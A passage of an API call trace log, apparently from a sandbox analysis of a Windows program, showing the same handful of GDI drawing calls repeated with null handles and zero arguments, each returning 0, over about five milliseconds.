(hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.679] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.679] GradientFill () returned 0x0 [0156.679] BeginPath (hdc=0x0) returned 0 [0156.679] FillPath (hdc=0x0) returned 0 [0156.679] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.680] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.680] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.680] GradientFill () returned 0x0 [0156.680] BeginPath (hdc=0x0) returned 0 [0156.680] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.681] FillPath (hdc=0x0) returned 0 [0156.681] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.681] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.681] GradientFill () returned 0x0 [0156.681] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.682] FillPath (hdc=0x0) returned 0 [0156.682] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.682] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.682] GradientFill () returned 0x0 [0156.682] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.683] BeginPath (hdc=0x0) returned 0 [0156.683] FillPath (hdc=0x0) returned 0 [0156.683] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.683] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.683] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 